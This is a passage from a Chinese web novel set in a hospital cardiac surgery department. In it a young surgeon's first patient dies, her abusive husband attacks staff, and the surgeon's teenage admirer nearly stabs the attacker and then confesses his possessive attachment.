一个成年人的爆发力还是不容小觑的,丞弋直接被他推得连连后退,直到撞上玄关柜才停下来。 他被打湿的黑发在撞击的惯性里坠下几点雨珠。 有几点雨珠落在他脸上,带来微乎其微的凉意。 丞弋在这点凉意里缓缓恢复理智,安静看着许酌。 柔黄的灯光下,许酌睁着一双惊惶的眼睛,白皙而薄润的眼角泛着水雾红。 长长的睫毛簌簌颤着,在泛着绯红的脸颊上投下一片迷人的阴影。 他半张的口中急促吐着热息,灯光落在他红肿的唇上,照出上面盈盈发亮的水光。 像吸饱水的殷红浆果,诱人得要命。 丞弋无意识地滚了滚喉咙,而后又赶紧移开视线。 视线落在被随手丢在鞋柜前的书包上,丞弋走过去把书包捡起来,径直拧开门把手。 见他要出门,许酌顾不上吸取氧气,喊他,“你去哪?” 丞弋头也不回,“回学校。” 许酌说,“外面在下雨。” 丞弋顿住脚,回头,目光落在许酌身上,“许酌哥还想让我留下来么?” 许酌移开目光,闭了深吸了口气,而后又转回来,“你不懂事,我不跟你计较,你赶紧洗漱吧,洗漱完早点休息。” 说完许酌就准备回主卧。 刚抬脚,身后传来丞弋低低的声音,“不懂事,孩子气。” 许酌停下。 丞弋看着他的背影,“许酌哥,你到底什么时候才能意识到,我已经不是小孩子了,我对你是有性|欲的。” “看见谢旌抱你,我都很想把你扔到床上吃干抹净,让你彻底属于我。” “继续留下来,我不确定我能控制住自己。” 许酌没说话,再一次闭上了眼睛。 他简直不敢相信,以前那个又乖又听话的丞弋会说出这么露骨的话。 “许酌哥早点休息,明天上班前记得买份早餐吃。” 说完,丞弋推开门,径直走了出去。 直到关门的声音顺着安静的空气回荡到许酌耳中,许酌这才缓缓睁开眼睛,回头看了眼门口。 玄关处已经没了丞弋身影。 只有一片从他身上落下来然后浸在地毯里的水迹。 许酌靠回墙上,长长松了一口气。 松完,他声音很低地骂了声,“小混蛋。” 最后一个音节消失,空气重归于寂静。 无声的静默衬得窗外的雨势更大,许酌在这阵雨势中渐渐放空自己。 放空了不知道多久,他忽地又抬眼去看紧闭的门板。 小弋好像没拿伞。 许酌下意识拿出手机想给丞弋打电话把人喊回来,但又顿住。 算了,让那小混蛋淋雨吧。 这么年轻淋不坏的。 顺便让他冷静清醒一下,不要总想那些有的没的。 第30章 第 30 章 “真羡慕最后能追到许医…… 30 次日许酌正常上班。 谢升华还没醒, 但各项数据还算稳定。 许酌把谢升华的状态跟谢旌说了一遍,免得他担心。 然后他就去忙手术了。 今天有四台手术。 第三台该轮到他前天收进来的病人。 崔玉知却忽然跟他说,“阿酌, 下一台的瓣膜置换手术你来主刀吧,我给你做一助从旁指导。” 许酌有些受宠若惊。 要知道心外科多少年轻医生十年也不一定能摸到一次主刀的机会。 结果崔玉知就这么轻易地把这个机会送到了他的面前。 但许酌没惊喜很久, 就敏锐察觉到什么,“怎么了老师?你不舒服么?” 崔玉知揉着手腕轻叹, “谢董那台手术做太久了,导致老毛病又犯了。” 外科医生的老毛病大多数都是腱鞘炎。 崔玉知也不例外。 谢升华那台十几个小时的手术对手来说已经算是超高强度了,加上后面又大大小小跟了好几台手术。 就导致崔玉知的手消耗过多, 腱鞘炎复发。 但没办法主刀还是头一次。 许酌有些担心, “要不要去隔壁中医科看看?” 崔玉知摇头,“不用了,我都去看多少回了,他们只会给我扎针缓解,起不了多大作用不说还受罪。” 见许酌一脸担心,崔玉知放缓声音,“没事,我多休息一下就行, 所以等下只能辛苦你来主刀了,没问题吧?” 许酌见老师不想让他过多担心, 就没再坚持说些什么, 只是目光坚定,“我没问题。” 还不忘认真感谢, “谢谢老师给我机会。” 崔玉知笑,“谢什么,你们这些年轻医生才是医院的中坚力量, 要多多培养才是。” 下午的手术是二尖瓣置换重度狭窄,主动脉瓣中度狭窄,伴中度反流。 崔玉知亲自去跟病人说明手术情况。 病人恹恹说了句,“都行,随便。” 见她状态格外不好,许酌又多问一句,“真的不通知你家人来么?” 患者摇摇头,“我没有家人。” 这位病人叫宋雪依,从看病到住院已经两天过去了,却一直没有人来看她。 就连手术知情书以及同意书都是她自己签的。 在医院里能看到人生百态。 但医生只负责治病,治不了其它。 许酌没再多问,只是保证,“你放心,我一定会尽全力的。” 宋雪依抬头看他,半晌,她说,“如果手术失败,你们直接把我送火葬场烧了就行,不用告诉任何人。” 许酌没应这句话,而是温声说,“我不知道你身上发生了什么,但我知道现在已经是春天了,你做完手术养好身体后,就可以出门去看漂亮的花草了。” “漂亮的花草”宋雪依呢喃重复,而后轻轻笑了笑,“好,我听医生的,那医生加油。” 许酌也笑,“你也加油。” 许酌跟过很多台瓣膜置换的手术,但正经主刀还是头一次。 岑嘉祯没现场看过许酌做手术,听说他要主刀,申请进手术室观摩。 站到手术台上,许酌久违的有些紧张,深吸了好几口气才开始走手术流程,“确认患者信息。” “宋雪依,女,32岁。” “因心衰办理住院,检查结果显示二尖瓣重度狭窄,主动脉瓣重度狭窄,伴中度反流,左心增大,先行二尖瓣、主动脉置换术。” 说完,他看了眼站在他对面的崔玉知。 得到老师的肯定点头,许酌抬手,“刀。” 器械护士把手术刀递到许酌手上。 许酌拿着那把沉甸的手术刀,才终于有了自己要主刀一台手术的真实感。 岑嘉祯从许酌开始下刀之后目光就一直盯着他。 无影灯下的许酌比平时更加认真百倍,手术的每一步都有条不紊,每一个指令都平稳笃定。 他身上根本没有新手医生主刀的恐慌紧张,反而充满了沉着的游刃有余。 岑嘉祯看得痴迷。 同时也更加清楚地明白,许老师就是天上的皓洁明月,他该把光撒在每一个角落。 而不是被人独独私藏起来。 “结束循环,恢复灌注。”缝合结束,许酌抬眼看着检测心率和氧饱合的显示器说。 体外循环医生按照指令结束循环。 灌注师开启主动脉的阻断嵌。 众人齐目看着显示器上的那条代表心跳的直线。 几秒后,直线显出起伏。 心脏开始复跳。 手术成功。 许酌长长松了一口气。 崔玉知欣慰鼓励,“恭喜许医生,第一次主刀成功结束。” 其他人也纷纷给许酌送出鼓励。 许酌瞬间有些眼热,“谢谢,谢谢各位老师的配合。” 然后垂眼。 他看不到宋雪依的脸,但还是对着他手下的这颗跳动的心脏默声说,谢谢。 宋雪依正常脱机,转到了GICU。 周黎安听说许酌主刀做了一台瓣膜置换手术,连忙过来给他贺喜,“恭贺许医生第一次主刀手术顺利结束。” 他还带了一束花。 不是落俗的玫瑰。 而是充满生命力的向日葵。 医院里给年轻医生第一次主刀送花的习俗。 寓意每一次主刀都漂亮完成。 许酌没有推拒,笑着收下,“谢谢师兄。” 后来余凯睿也过来送花了。 自从那天爬山结束,余凯睿就没再联系过他了。 今天再见,余凯睿还有些不自然,“许医生,恭喜你成为一名正式的心外科医生。” 他也带了花,是香槟色系的玫瑰花。 许酌一样收下,道谢。 送完花,余凯睿没着急走,而是问,“有时间聊聊么?” 许酌点头,“可以,这会正好没事。” 两人去了住院楼的顶楼。 昨天刚下完一场大雨,今天顶楼的空气格外清新。 呼吸间全是混着泥土的潮湿味道。 许酌不自觉想到浑身湿透的丞弋。 他今天要开始模拟考了,也不知道考得怎么样。 身旁响起余凯睿的声音,“不好意思啊许医生,神外最近有点忙,所以我这几天都没来找你。” 许酌思绪回神,目视着余凯睿微微一笑,“余主任言重了,这没什么好抱歉的,神外和心外一向都是加班的重灾区,最近我也忙得脚不沾地呢。” 今天虽然没再下雨了,但天色已经昏沉。 许酌在阴霾下笑起来,让阴天都变得多彩了起来。 余凯睿多看了几秒,最后轻叹,“许医生啊,你可别再这样对我笑了。” 许酌就玩笑似的说,“可我要是对着余主任哭也不太合适吧。” 余凯睿没说话了。 半天轻叹一声,“可我一看到你笑,就还是很想继续追你。” 许酌温温轻笑,“不会,我印象里的余主任是个很懂分寸的绅士。” 余凯睿怔了下,笑起来,“你可真会拿捏我。” 许酌笑意更深,“实话而已。” 余凯睿望着他淡粉色唇角的笑意,不由得感慨,“真羡慕最后能追到许医生的人啊。” 许酌说,“我也很羡慕余主任的年轻有为。” 成年人的话都是点到为止的。 话说到了这里,基本就再明朗不过了。 余凯睿不是个喜欢死缠烂打的人。 正如许酌说的那样,他很懂分寸,也知进退。 现在许酌把意思表述的那么清楚了,他当然不会继续讨嫌。 虽然有些遗憾没能讨到许酌的喜欢,但他还是大方伸出手,“那握下手吧。” 许酌:“嗯?” 他没明白。 余凯睿解释说,“听科里的年轻人说这叫‘蹭蹭’,意思是可以蹭到一样的好运气。” 许酌感受到了余凯睿的幽默,笑了下,“好,那我就蹭下余主任的好运气。” 许酌伸出手。 余凯睿握住,握得有些紧,不舍得松开。 但最后,他还是释然说,“许酌,你是个很好的人,一定会好运常在的。” 许酌也笑,笑意很轻松,“余主任也是。” 谢升华和宋雪依两个人都恢复的不太好。 但都在周五一大早醒了过来。 谢升华先醒的,许酌先跟着崔玉知去看了谢升华。 确定各项数据都没问题后,崔玉知停了一些用药,又交代护士长一些关于谢董的护理事项以及饮食事项。 之后去看宋雪依,就发现宋雪依虽然醒了,但氧饱合和血压都太低,不符合正常数据。 许酌让护士打一只升压药,先把血压提升到正常水平。 再交代管床医生密切关注下宋雪依的状态,如果氧饱合一直升不上来就要提高供氧流量。 检查完这两个重点病人,许酌又开始忙今天的手术了。 崔玉知的手还没恢复好,她又不想把自己的病人转到其他人手里,就把愿意让许酌主刀的病人交到了许酌手里,她则继续从旁协助指导。 而其他不愿意让年轻医生主刀的病人,自然全都延后了。 许酌本身的专业知识是非常丰富,临床经验也不匮乏。 加上天赋使然,就导致他对手术的灵敏度也比同年龄医师更加出色许多。 两天的主刀手术全都成功做下来,崔玉知觉得他很快就可以成为一个独挡一面的主刀医生了。 但病人是不会这么觉得的。 所以这天手术全部结束后,崔玉知把许酌喊到了办公室。 许酌以为他手术中有什么不严谨的地方,安静等着老师指责。 却听崔玉知问,“阿酌,你有没有考虑出国进修一下?” 许酌眨眼,“老师怎么突然提到这个?是我手术过程中有什么失误么?” 崔玉知摇头笑,“当然没有,你的手术很稳。” 许酌没说话,等着崔玉知继续往下说。 崔玉知继续说,“就是因为你手术很稳,所以我才想问你要不要出国进修一下的,你知道的,在国内成长成一个真正的心外科主刀医生,是有很长的路要走的,你能明白我的意思么?” 许酌能明白。 国内病人在手术方面普遍都是首选高年龄、高职称的医生。 其次就是从国外回来的医生。 他们觉得国外的科技和手术技术都远高于国内。 所以在他们眼里,国外回来的医生自然也高出国内医生一等。 如果许酌只是在国内按部就班地走,可能是要花很多时间才能走到被病人认可的位置。 这个时间短则五年,长则十年。 毕竟心脏是人身上最重要的器官。 整台手术都没有可供医生犯错的空间。 因此,心外科的医师级别在评职称和考核方面都是非常严格的。 会做漂亮手术是其次,重要的是还要能写出漂亮文章。 道理许酌都明白,但许酌还是说,“谢谢老师的好意,但我暂时没有出国的打算。” 崔玉知还想劝。 就听许酌又继续说,“我们医院每天的手术量已经足够我学习了,而且,这里还有一个愿意给我上台机会的好老师,我已经比其他人要幸运很多了。” 崔玉知想了想,确实。 许酌的个人履历已经比同龄医师要优秀很多了。 再让他弯道超车,未必是件好事。 思及此,崔玉知轻松笑了下,“行吧,你自己有想法就行。” 话音刚落,许酌口袋里的手机就响了。 他跟崔玉知说了声‘老师抱歉’。 然后偏头拿出手机接了起来。 电话刚接通,那边就传来护士的焦急声,“许医生!10床宋雪突发呼吸心脏骤停!” 许酌当即皱起眉头,“知道了!我现在过来!” 挂完电话,许酌跟崔玉知说,“老师,宋雪依突然心脏骤停。” “别慌,我跟你一起去看看。” 两人用最快的速度赶到了GICU。 周黎安正在给宋雪依做心脏复苏。 许酌用酒精给手消毒,走过去说,“我来。” 周黎安气喘吁吁把位置让出来。 许酌开始给宋雪依做心脏复苏。 他一边用力下压,一边看着心电监护仪。 没有反应。 “静脉推1mg肾上腺素!”许酌急说。 GICU的主治医师詹胜严立即给宋雪依推肾上腺素。 护士推来除颤器,“许医生!除颤器来了!” 许酌拿起除颤器手柄,护士在上面涂抹电极膏。 涂好,许酌下达指令,“充电150焦耳。” 护士照做:“150焦耳。” “床旁离人。”许酌说完,将除颤器放在对应位置放电。 宋雪依胸膛起伏,但监护仪上的直线仍然没有任何变化。 “200焦耳。” “200焦耳。” “250焦耳。” “250焦耳。” 三次除颤都没反应,许酌放下除颤器,继续心脏复苏。 许酌额头都冒出热汗来了。 但宋雪依那条代表心跳的直线还是没有出现任何起伏。 闻言赶来的岑嘉祯还没见过这么严肃的氛围,整个人都紧张了起来,紧紧攥住的手心里全是细汗。 加油啊宋雪依! 但很遗憾。 两轮抢救措施做完都没能让宋雪依的心跳重新跳动起来。 周黎安按住还在继续给宋雪依做心脏复苏的许酌的肩膀,“许酌,不用按了。” 许酌心底重重一沉,手上的动作却一点也没有慢下来。 崔玉知抓住他的手腕,“阿酌,停下来。” 许酌没停。 崔玉知提高音量,“许医生。” 许酌这才停下来。 良久过后,他缓缓收回手。 崔玉知看着监护室顶端悬挂的红色数字,宣布说,“3月31日,下午六点17分,宋雪依突发呼吸心脏骤停,抢救无效,宣告死亡。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第 31 章 少年人像一头暴怒的野兽…… 31 许酌都不知道他是怎么离开监护室的。 直到崔玉知他面前放了杯冒着热气的茶杯, 他才反应过来,他又回到了崔老师的办公室。 “老师,我没事。” 话是这样说的, 可他的声线却透着些无力的沙哑。 整个人也仿佛失了魂一样。 崔玉知很清楚他现在的心情,放轻声音说, “阿酌,接受病人的死亡是每个医生的必修课。” 许酌知道。 许酌再清楚不过了。 但他就是有些难受。 宋雪依是他第一个主刀的病人。 对他的意义不一样。 崔玉知无声叹了口气, 早知道这样,她就坚持多做一台手术了。 “阿酌,不要给病人赋予任何意义, 病人就是病人, 你能做的,就只有倾尽一个做医生的责任和全力。” “现在我问你,你有没有倾尽全力?” 倾尽了。 手术过程中哪怕只是一个缝线,他都尽力做到了最完美的程度。 抢救的过程他也把能想到的急救措施和方法都用上了。 但宋雪依还是宣告了死亡。 空气安静。 许久之后,许酌才深吸一口气说,“我知道了老师,我会及时调整好自己的情绪的。” 从办公室出来,许酌一转身就对上三张熟悉的面孔。 周黎安和岑嘉祯, 以及谢旌。 “怎么都来了啊。”他无奈走过去。 “许酌!你没事吧?”周黎安就等在办公室门口,见许酌出来第一个走到许酌身边。 岑嘉祯和谢旌也一脸担心地跟在后面。 许酌抿抿唇, 露出一个自然的笑, “我没事,走吧, 一起去吃饭吧。” 四个人一起去食堂吃晚饭。 因为心思全在注意许酌的状态上了,以至于周黎安和谢旌都没多余的时间去和对方呛声。 一顿晚饭吃得很和谐。 许酌饭量正常。 甚至比平时多吃了半碗饭。 因此,周黎安更加担心了, “许酌,你等下还是早点回去休息吧,今天的班我替你值。” 许酌笑,“不至于的师兄,我没那么脆弱。” 周黎安解释说,“许酌,这不是脆弱不脆弱的问题,是你确实该回去好好休息的问题,这两天崔主任的手术都是你在主刀吧?你自己算算你休息的时间和你工作的时间成不成正比。” 岑嘉祯也在一旁附和,“是啊许老师,你这两天上班都是两杯咖啡打底的,这样工作怎么行啊?” 许酌看着岑嘉祯,“你今天的病历写完了?” 岑嘉祯沉默一秒,老实说,“我这就去写。” 等岑嘉祯走了之后,许酌又看向周黎安,“师兄,你明天就要轮急诊了,急诊的工作强度有多高应该不需要我来说了吧?” 周黎安说,“那点强度对我来说不算什么。” 许酌说,“那我也是呀,这两天能帮崔老师做主刀我不知道有多开心呢,根本不觉得累。” 周黎安张了张嘴,却没能说出什么。 是啊,他记忆里的许酌一直都是个内核非常稳定的人。 他不会轻言放弃,更不会被什么打败。 这样紧追不舍地去担心他,未免也太小看他了。 想通这些,周黎安松了口气说,“好,那你累了不要勉强自己,多休息才会有更好的状态去做手术。” 许酌给他一个安心的笑,“知道啦。” 周黎安嗯了声,说,“那我先去急诊做交接了。” 等周黎安走后,谢旌不等许酌开口就先发制人说,“许酌,你是最棒的医生,你以后可以治好更多个生病的心脏,所以千万不要因为一颗心脏的停跳而怀疑自己。” 许酌唇角笑意不变,“我没有怀疑自己,毕竟宋雪依的手术很成功。” 谢旌看着他唇角的笑,“那你的笑为什么还这么难过。” 许酌收敛笑意,垂眼。 再抬起时,他脸上已经没了逞强的笑意,只是非常平静,“我没有难过,我只是在想” 我要是能把她抢救过来就好了。 许酌心里这样想,但没说给谢旌听。 不然谢旌又要花费心思安慰他了。 没必要。 所以他顿住话音后又沉默两秒之后,才故作玩笑似的又笑起来,“今天的夜宵吃什么。” 谢旌怎么会看不出许酌在想什么。 但为了不让许酌继续钻牛角尖,他也没再说一些没什么用的空口安慰。 只是配合他说,“那你别想了,今天你的夜宵我来给你安排。” 许酌没习惯性拒绝,反而答应,“好啊,那就先谢谢谢总了。” 今天的夜班还是和岑嘉祯一起。 岑嘉祯一如往常地拜各路神佛,祈求夜班平安度过。 然而真正的夜班还没开始,许酌就先接到了护士站的电话。 岑嘉祯习惯性地在许酌接起电话就开始紧张。 而下一秒。 他果然看见许老师倏地一下从椅子里站起来,然后一边往外走一边说,“我这就过来!” 岑嘉祯立马追上许酌,“怎么了许老师?” 许酌收起电话,“宋雪依老公带人过来了。” 岑嘉祯脸色突变:“干嘛!闹事啊!” 许酌脸色凝重,“大概是的。” 两人快步往护士站走。 路过转角时刚好碰到往这边走的崔玉知。 许酌脚步一停,“老师?你怎么过来了?” 崔玉知说,“我刚从院长办公室回来,你们这是干什么去?” 岑嘉祯找到救星一般,“崔老师!护士站说宋雪依她老公来闹事了!” 崔玉知拧眉,看着许酌,“该下的医嘱都下了吧?” 许酌点头,“都下了。” 崔玉知放心,“行,你手术没问题,术后监护也没问题,不要怕,我跟你一起去跟家属说。” 住院部的护士站已经乱成一锅粥了。 来闹事的人是四个男人。 年龄大概都在三十五岁左右。 模样不算多整齐,且每个人身上都带着浓重的流氓味。 “别他妈拉我!我再问你们一遍!谁他妈给我老婆做的手术!赶紧让他给我滚出来!” “几位,有什么问题我们先到会议室谈好不好?这里是住院区,很多病人都在休息” “老子说了别拉老子!你他妈听不懂人话是吧!”主张闹事的寸头男人抬手就要去打劝阻的护士。 许酌两步快走过去,抓住那男人的即将落下的手腕,“这位先生,我是宋雪依的主刀医生,你有什么问题跟我沟通就好。” 他说话时,不着痕迹地挡在护士身前。 跟过来的岑嘉祯也连忙把护士往后拉。 “你就是主刀医生是吧。”见许酌来了,光头男更加来劲了,“你把我老婆治死了,也不给我个说法是吧?” 许酌张了张嘴还没开口,崔玉知就先平和解释,“这位先生,首先我们对宋雪依的死亡表示很遗憾,其次我们的手术过程和治疗过程医院都有记录,如果您对宋雪依的死亡有疑虑,可以直接走法律程序向医院提起诉讼。” “少他妈唬我!”寸头一把甩开许酌的手,恶狠狠瞪着崔玉知,“你以为我不知道你们医院都是一伙的啊!” “我老婆十来年都没生过病!来你们医院看一次病直接就心脏病了!说你们没有联合起来骗人谁信啊!” “是啊!你们医生就这么坑我们老百姓的钱也不怕天打雷劈是吧!”寸头的朋友跟着附和。 许酌担心这几个人越说越激动会再次萌生出动手的想法,把崔玉知稍稍往后拽了拽,语气平和说,“先生,你先冷静一” “我冷静你妈!”寸头很凶地打断许酌的话,手也无意识抬起。 两人距离过近,寸头的动作又过于猝不及防。 许酌再想拦下他的手已然来不及了。 寸头手起手落,他脸上就挨了一个清脆的巴掌。 寸头的力气有些大,许酌被打的整个人都偏了下身子。 是护士稳稳扶住他,才没有让他撞到护士台上。 “许医生!” “阿酌!” “许酌哥!” 一片担心的喊声中,许酌听到一道再熟悉不过的声音。 等他抬眼。 果然在闹哄的人群之外看到了穿着校服的丞弋。 丞弋丢下书包,快步朝他这边跑来。 岑嘉祯见许酌挨打,也恼着火冲出来,“你有病吧!我们许老师跟你好好说话你打人算什么啊!你平时在家就是这么打宋雪依的是吧!” 许酌想让丞弋别过来,但听到岑嘉祯开始乱说话,他只好先转头喊他,“小岑!” 然而已经晚了,寸头已经抬手去抓岑嘉祯的衣领,“你他妈再说一遍,我打谁了?” 岑嘉祯年轻气盛,整个人已经冒火了,根本不怕他,还在梗着脖子说,“宋雪依现在还躺在太平间!你去看看她身上有多少淤青不就知道你打谁了!” 两句话,让寸头彻底按耐不住情绪,抡起拳头就要打岑嘉祯。 岑嘉祯学医之后还专门报了散打课程,为的就是在医闹中保护自己的。 所以他哪能白白让寸头给打了。 偏头一躲就开始卸寸头手腕上的力量。 见寸头不敌,寸头的朋友也围了过来。 丞弋根本不管身后乱成什么样了,他快步跑到许酌面前小心翼翼捧起了他的脸。 情绪失控的人是很难控制住自己的力道的,所以许酌脸上瞬间就浮现出几道红痕。 那红痕被许酌雪白的肤色一衬,就显得格外刺目。 丞弋想碰又不敢碰,手抖得厉害。 许酌见丞弋眼里很快泛起一抹湿红,连忙先哄他,“小弋我没事,你先去办公室等我,等我这边处理完再过去找你。” 丞弋没说话,转身。 许酌以为他听话要往办公室去。 却见丞弋直接往热闹中心走。 许酌见不对,脸色一变想把丞弋喊回来。 然而丞弋已经不由分说拉开岑嘉祯。 岑嘉祯被扯得连退两步,懵然的视线里看见丞弋顺手从他胸口抓了支笔,然后冷着一张脸就朝寸头走过去了。 “小弋!”许酌拨开混乱中的几人要去拉丞弋。 丞弋抬起拳头往寸头脸上狠狠一砸。 少年人像一头暴怒的野兽,毫无保留砸下的这一拳让寸头毫无还手之力。 他整个人身子一歪,直直朝着地上摔去。 “我草了!”寸头吃痛,凶神恶煞地骂,骂完准备起身回击。 丞弋直接单腿跪压在他身上不让他起身。 随后一手钳制住他粗壮的脖子,另一只握着笔的手也高高抬起。 他按出笔尖,目标是寸头脖子上凸起来的血管。 “小弋!!” 第32章 第 32 章 我就是想弄死他。 32 丞弋动作不停。 寸头双眼睁大。 周围看热闹的惊叫出声。 尖锐的笔尖以最快的速度划破空气。 又在刺进血管的前一秒停下来。 “小弋!”许酌惊惧的声音响在耳边。 丞弋的手腕被他紧攥着往后拉。 可少年的力气却和他相反, 还在竭力往血管前进,似是一定要扎进去。 “丞弋!!”许酌提高声音又喊。 一向温柔的声音里被染上了愠怒,丞弋咬了咬牙, 最终还是松掉手中的力气,缓缓抬起头。 许酌来不及去看他眼底翻涌着多少不加掩饰的寒意。 趁他松懈下来, 动作迅速地夺过他手中的笔放进自己口袋里。 接着就温柔又不失严肃地下达指令,“起来!” 间隔了好几秒, 丞弋眼底的寒意才开始逐渐松动。 而后服从命令般松开寸头的脖子,起身站起来。 身上没了来自丞弋的压迫感,但寸头面上的惊恐表情仍没有缓解下去。 好像还没从即将死亡的恐惧里回过神来。 这时。 保卫科的人终于来了。 许酌把丞弋拉到身后, 垂眼看着躺在地上的寸头, “我再重复一遍刚才崔主任说的话,如果你对宋雪依的死亡存疑,可以直接向法院提起医疗诉讼,或者直接报警。” “我建议直接报警,因为我已经向我院的警医联动室提过宋雪依身上的伤痕问题了,如果你报警的话,可以更好的配合警察调查出宋雪依生前那些伤是怎么回事。” 他话说完,寸头及他身后的几个朋友都没说话。 似是很清楚什么宋雪依身上那些伤是怎么来的。 见现场安静下来, 许酌转头跟崔玉知丢下一句,“老师我先离开一下。” 得到后者的点头, 许酌拉着丞弋就往消防通道走了。 消防通道的大门被大力推开又重重关上。 许酌甩着手松开丞弋。 丞弋被惯性甩得后退两步, 但站稳后又朝着许酌走近两步。 两人面对面,神色都不太好。 丞弋眼底全是没能爆发出来的怒火, 以及一片闪着泪光的心疼。 许酌有些生气,但更多的还是后怕。 “你刚在干什么?”他问丞弋,声线里都带着细颤。 丞弋没说话, 只是紧紧盯着许酌脸上的红肿。 许酌深吸一口气,“丞弋,我在问你话。” 丞弋动了动眼眸,去迎许酌的目光。 四目相对,许酌看到丞弋眼底涌动着浓郁的自责和懊悔。 而后,丞弋缓缓抬手,想去摸许酌的脸。 快要碰到之前,被许酌用力挥开。 “丞弋,我再问你最后一遍,你刚才在干什么!”许酌没压制住心底的慌张,颤抖的声音里都染上了微不可察的哭腔。 丞弋听出来,更加心疼了,下意识想道歉。 可心底那片心疼的情绪宛如烈焰一般,灼得他浑身发疼,嗓子也干涩得发不出一点声音。 最后只是无声落着泪。 见他只哭不说话,许酌转身就要走。 刚转过身,手腕被拉住,接着听见身后传来哽咽的哭声,“许酌哥,我错了” 许酌深吸一口气,最后还是回头,“错哪了?” 丞弋的视线落在许酌脸颊,眼角不断有泪滑出,“我来晚了,让许酌哥受伤了” “丞弋!” 见他根本没意识到自己的错误,许酌从刚才起就一直压抑在心底的惊慌和后怕终于被愠怒的情绪点燃。 他用力挣开丞弋的手,“你错在你刚才的行为过界了!” “你知不知道你那一笔下去会造成什么后果!” “你有没有想到你面对的是一个成年无赖!” “你知不知道人在被激怒的时候会爆发出多大的力量!” “你有没有想过你手中的笔万一被他抢走!他也拿笔对准你的” 许酌不敢再往下说,只是竭力忍耐着。 但最终,他还是没忍住从喉咙里泄出一声细细的呜咽。 他在害怕。 真的害怕。 他怕丞弋酿成大错。 也怕丞弋在他眼前出什么事。 虽然丞弋经常幻想许酌在他身下哭。 但真的看见许酌哭,他心底还是不可抑制地又慌又疼了起来。 然而这次他却没有下意识道歉,也不想哄骗许酌。 “我知道。”他说,“但我就是想弄死他。” 许酌眼底一颤,看向丞弋的眼睛充满了不敢置信。 丞弋居然真的想杀人。 “许酌哥,我不允许任何人伤害你。” 他眸底猩红,又重复一遍,“任何人都不行。” 楼道安静。 不知道从哪个角落吹来的风无孔不入地落到许酌身上,让他感觉到了一阵黏腻的冷意。 这一刻,许酌发现他好像从来都没真正的认识丞弋。 之前他只觉得丞弋在喜欢他这件事有些偏激。 但现在看来。 丞弋的整个性格都是非常有问题的。 而以往丞弋给他看到的那些乖巧,不过是他想给他看的。 真正的丞弋,恐怕就是刚才那个不计后果的疯子。 可没有人一生下来就是疯子。 能让一个十八岁的小孩子变成这样,一定是有各种外在原因造就的。 意识到这一点后,许酌竟然没有那么生气了,反而有些心疼。 再开口时,他的语气都不由自主地放缓了很多,“然后呢?弄死他然后呢?” 丞弋不说话。 许酌帮他回答,“然后你在十八岁这么好的年纪去坐牢,是么?” 丞弋还是不说话。 可他黑沉的眼底却是没有任何畏惧,像是对这个结果无所谓。 许酌安静盯着他,眼底的水雾越来越浓重。 快要落下之前,许酌偏开头,抹去眼角失控的泪。 又缓缓深吸了好几口气平复好情绪之后,许酌这才回过头,“小弋,解决事情的方法有很多种,但冲动是最不可取的,尤其是为别人冲动,那对你自己的人生太不负责了,知道么?” 丞弋依旧沉默,只是眼也不眨地看着许酌。 楼道微弱的白炽灯下,许酌哥的眼角一片湿红,脸颊上的红痕也是触目惊心。 可他说话的语气却和煦又耐心。 丞弋简直不知道要怎么办才好了。 他的许酌哥怎么那么温柔,明明上次见面他还不顾他的意愿强吻了他。 明明被打过一巴掌的人是他。 明明被自己冲动行为吓到的也是他。 可他还是这么温柔地来哄他。 丞弋感受着许酌的温柔,心疼的情绪混杂着被压抑的怒火一起冲击着他,让他浑身的骨头都隐隐发疼。 好半天之后,丞弋终于缓缓俯身,轻轻环抱住许酌。 没有察觉到许酌有推开他的想法,他才一点点施加力气。 “许酌哥”丞弋把脸埋在他颈间,“我没有我自己的人生。” “我的出生不被任何人期待,我是一个走到哪都会被嘲笑的私生子。” “没有人喜欢我,也没有人把我当个人看。” “只有你,你是第一个真心实意对我笑的人。” “你让我觉得我在活着。” “所以啊许酌哥,我的世界里没有人会比你更重要,包括我自己。” 长满荆棘的荒地曾照下一片月光。 那月光过于罕见,是丞弋没见过的美好。 他阴暗又自私地想独藏起来,每天都要看上几百遍。 又珍贵无比地小心供奉着,不允许任何人伤害。 许酌还是第一次听丞弋说这些,心疼感加重。 心疼丞弋被嘲笑的经历。 也心疼他有些扭曲的心态。 许酌尽量放柔声音,同时拍了拍他的后背,哄他,“但我没事,不是么?” “万一呢?”丞弋搂紧了许酌,声音哽咽,“万一许酌哥也像” 像什么丞弋没说下去,但许酌心底还是重重颤了颤。 因为他刚才也是这样担心丞弋的。 “许酌哥”丞弋收紧手臂,把许酌抱得再紧了一些,“对不起。” 许酌以为他是在为刚才那句话道歉,刚想说没事,就听丞弋又说,“我来晚了” “我早点来就好了” 少年哽咽的声音里充满了懊悔、自责、惊慌、害怕。 以及一那份放在心尖尖上的疼惜。 许酌有些难以想象一个十八岁的高中生是怎么可以把感情表现得这么浓烈的,但他感受到了自己心口的悸动。 他 许酌没继续往下想,而是用了点力气推开丞弋。 丞弋后撤站好,许酌这才看清这人脸上挂了多少泪。 至此,他多大的气也被这些眼泪浇灭了。 他抿了抿唇,从口袋里拿出纸巾,抽出一张给丞弋擦泪,“别说傻话了,我受伤跟你没关系,动手打人的人又不是你。” 不等丞弋再说什么,许酌继续说,“而且,你刚才的行为真的很不对,我希望这是第一次,也是最后一次,能做到么?” 丞弋看着许酌的侧脸。 没说话。 许酌又问,“回答我,能不能做到?” 丞弋回答他,“不能。” 许酌拧了下眉。 丞弋说,“许酌哥,我不想骗你,我就是做不到。” 他抬手伸向许酌的脸。 这次许酌没有挥开他,但他还是没敢去碰许酌的脸颊。 只是很轻很轻地碰了下许酌脸颊附近的空气。 然后说,“我什么都没有,只有你这一个底线。” 第33章 第 33 章 “许酌哥别怕,我在。”…… 33 护士还另外通知了警医联动室。 后来警察来做笔录, 许酌让丞弋回办公室等他,没让他出现在警察面前。 寸头叫寇英朗,做笔录的时候恶人先告状说有个男生要杀他。 警察问他哪个男生。 许酌说, “是我弟弟,来给我送饭的, 看见他打我冲过来保护我的,现在已经回家写作业了, 张警官要找他问话的话我再把他喊回来。” 警医联动室已经开展很多年。 警察见过很多这种无赖故意放大别人的错处来彰显自己的无辜,听见对方还是学生,心里高下立判。 “先不用。”警察抬手示意许酌不用, 接着说, “医疗事情不归我们管,现在就寇英朗主动打人这一事件,你们想怎么解决?” 打人事情可大可小,全看被打人是追究责任还是选择谅解。 许酌没说话,转头看崔玉知。 崔玉知目光鼓励,“你可以有自己的想法。” 